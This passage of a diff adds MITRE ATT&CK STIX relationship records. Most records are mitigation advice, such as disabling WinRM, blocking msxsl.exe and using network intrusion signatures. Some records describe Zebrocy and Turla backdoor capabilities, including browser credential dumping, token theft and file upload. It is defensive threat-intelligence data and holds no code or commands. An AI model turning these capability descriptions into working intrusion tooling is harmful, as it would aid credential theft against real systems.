"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "description": "Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T16:56:29.414Z", + "id": "relationship--9047a58e-6123-4456-ab17-6917934c8faa", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-06-20T16:56:29.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has the capability to upload dumper tools that extract credentials from web browsers and store them in database files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T17:01:21.325Z", + "id": "relationship--fd9b9c3a-544b-43e1-b4f4-aab6e646eb31", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "description": "Develop and publish policies that define acceptable information to be stored in repositories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T18:55:36.315Z", + "id": "relationship--2ffde834-36f9-463d-93c4-77048f020cf9", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-10-07T19:59:26.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "description": "Consider periodic review of accounts and privileges for critical and sensitive repositories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T18:55:36.343Z", + "id": "relationship--eacf09ab-0264-4af8-bfa5-f3be9df47e3f", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-07T19:59:26.279Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have included local UPnP RPC proxies.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T20:53:17.534Z", + "id": "relationship--2e162cdf-e917-4bc5-a2d2-1623e05d0b61", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.420Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can collect files from USB thumb drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T20:53:17.550Z", + "id": "relationship--ad2efb21-6884-422f-8e89-fc0b1d2dcbb0", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can impersonate or steal process tokens before executing commands.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T20:53:17.552Z", + "id": "relationship--0ebd9fb8-a6d0-4b91-bada-c5e5c79b0808", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.424Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can upload files from victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T20:53:17.574Z", + "id": "relationship--500c4228-b676-4f47-a391-9e52abd5ea51", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.408Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have used cmd.exe to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-20T20:53:17.582Z", + "id": "relationship--9850f990-17ed-40f5-8065-a455f1198404", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.398Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "source_name": "Symantec Waterbug Jun 2019", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "description": "If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T12:06:48.737Z", + "id": "relationship--af393cd2-2a5a-41f8-a1b1-218f30beb4dd", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-09-12T17:29:15.903Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "description": "If the service is necessary, lock down critical enclaves with separate WinRM infrastructure and follow WinRM best practices on use of host firewalls to restrict WinRM access to allow communication only to/from specific devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:29:36.121Z", + "id": "relationship--b0bb68cb-2dae-4012-b5fb-3e369dce0be0", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-10-15T18:44:56.813Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NSA Spotting", + "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", + "url": "https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "description": "Disable the WinRM service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:29:36.123Z", + "id": "relationship--08b93e63-6485-47fe-bc22-7d744fa700b9", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-10-15T18:44:56.811Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:45:51.496Z", + "id": "relationship--b587cc06-ea28-4c8c-ba52-152adb70d26d", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-15T18:43:48.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "description": "Prevent credential overlap across systems of administrator and privileged accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:45:51.507Z", + "id": "relationship--891beff4-a458-4571-8ad9-8b080305a5cf", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-15T18:43:48.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "Use of multi-factor authentication for public-facing webmail servers is a recommended best practice to minimize the usefulness of usernames and passwords to adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:49:14.598Z", + "id": "relationship--3709ccc2-2370-4dc9-92ac-792867bbdea4", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-08T20:59:13.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:49:14.612Z", + "id": "relationship--c15c9cbf-7ecc-4e2b-8fe1-636f381bac63", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "modified": "2019-10-08T20:59:13.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "description": "Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting tools like AppLocker that are capable of auditing and/or blocking unknown DLLs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:49:44.495Z", + "id": "relationship--2ae6e66c-24db-4949-b5ab-ec37d8d86398", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "modified": "2019-07-17T19:16:41.794Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "Prevent credential overlap across systems of administrator and privileged accounts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:56:39.436Z", + "id": "relationship--1e0c4d65-a4db-42e0-9eb0-93354ad56d06", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-17T20:04:40.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "description": "Close all browser sessions regularly and when they are no longer needed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T13:58:04.205Z", + "id": "relationship--8d6d88c3-dbfe-492a-8c4c-ee4bfc10bdc3", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "modified": "2019-07-18T15:36:27.537Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:16:08.441Z", + "id": "relationship--287b5cdf-1828-41aa-a2c3-16fc5ff5e53f", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-10-15T18:45:28.134Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:16:08.448Z", + "id": "relationship--9f424168-dc5b-45ea-998f-2d5bd48e524b", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "modified": "2019-10-15T18:45:28.155Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:17:49.609Z", + "id": "relationship--82cf0b15-1cd0-4539-b3fe-63ee4d379113", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T18:54:32.602Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:27:36.642Z", + "id": "relationship--d0a4f78d-4257-4597-ade6-ac9e0c527775", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "modified": "2019-07-17T20:11:10.928Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:27:36.648Z", + "id": "relationship--957ca941-c089-4059-ba09-1c1d4cf62881", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "modified": "2019-07-17T20:11:10.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:29:50.951Z", + "id": "relationship--1469ff36-c655-4513-8ffa-81dcb55c4ae6", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-17T21:17:03.583Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:35:00.080Z", + "id": "relationship--3024f916-b25c-4dd8-aab3-4d681b335da1", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T21:21:18.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:45:42.420Z", + "id": "relationship--3a348ba8-5608-4e9b-a180-f66cfad9896e", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-21T14:45:42.420Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T14:49:08.326Z", + "id": "relationship--61fce9a6-301a-48c6-949a-620fa1ca283c", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-07-18T16:27:30.959Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:00:51.735Z", + "id": "relationship--41931cc0-5bbb-490a-8195-18e4f83bd0bc", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T16:28:55.394Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:02:49.934Z", + "id": "relationship--b7bf4376-28f5-44db-86fa-1f68b99146af", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T16:29:29.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "description": "Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to remote access services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:13:50.808Z", + "id": "relationship--d5c70727-794c-4404-b30d-0d798a62ad64", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T17:42:08.984Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:15:19.160Z", + "id": "relationship--1ddae833-8280-4afa-b2b0-e250e22104fe", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-18T17:47:57.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:16:29.301Z", + "id": "relationship--19f35c88-92c4-4e98-b024-be9f6731bdb5", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-06-21T15:16:29.301Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:17:19.158Z", + "id": "relationship--0304cc00-ec86-4b08-8e30-e771adf0d7f5", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "modified": "2019-07-19T18:55:09.614Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-21T15:19:09.776Z", + "id": "relationship--b2a42d95-fc64-4e6f-95d9-7b24334bccd4", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "modified": "2019-07-18T21:18:02.975Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", 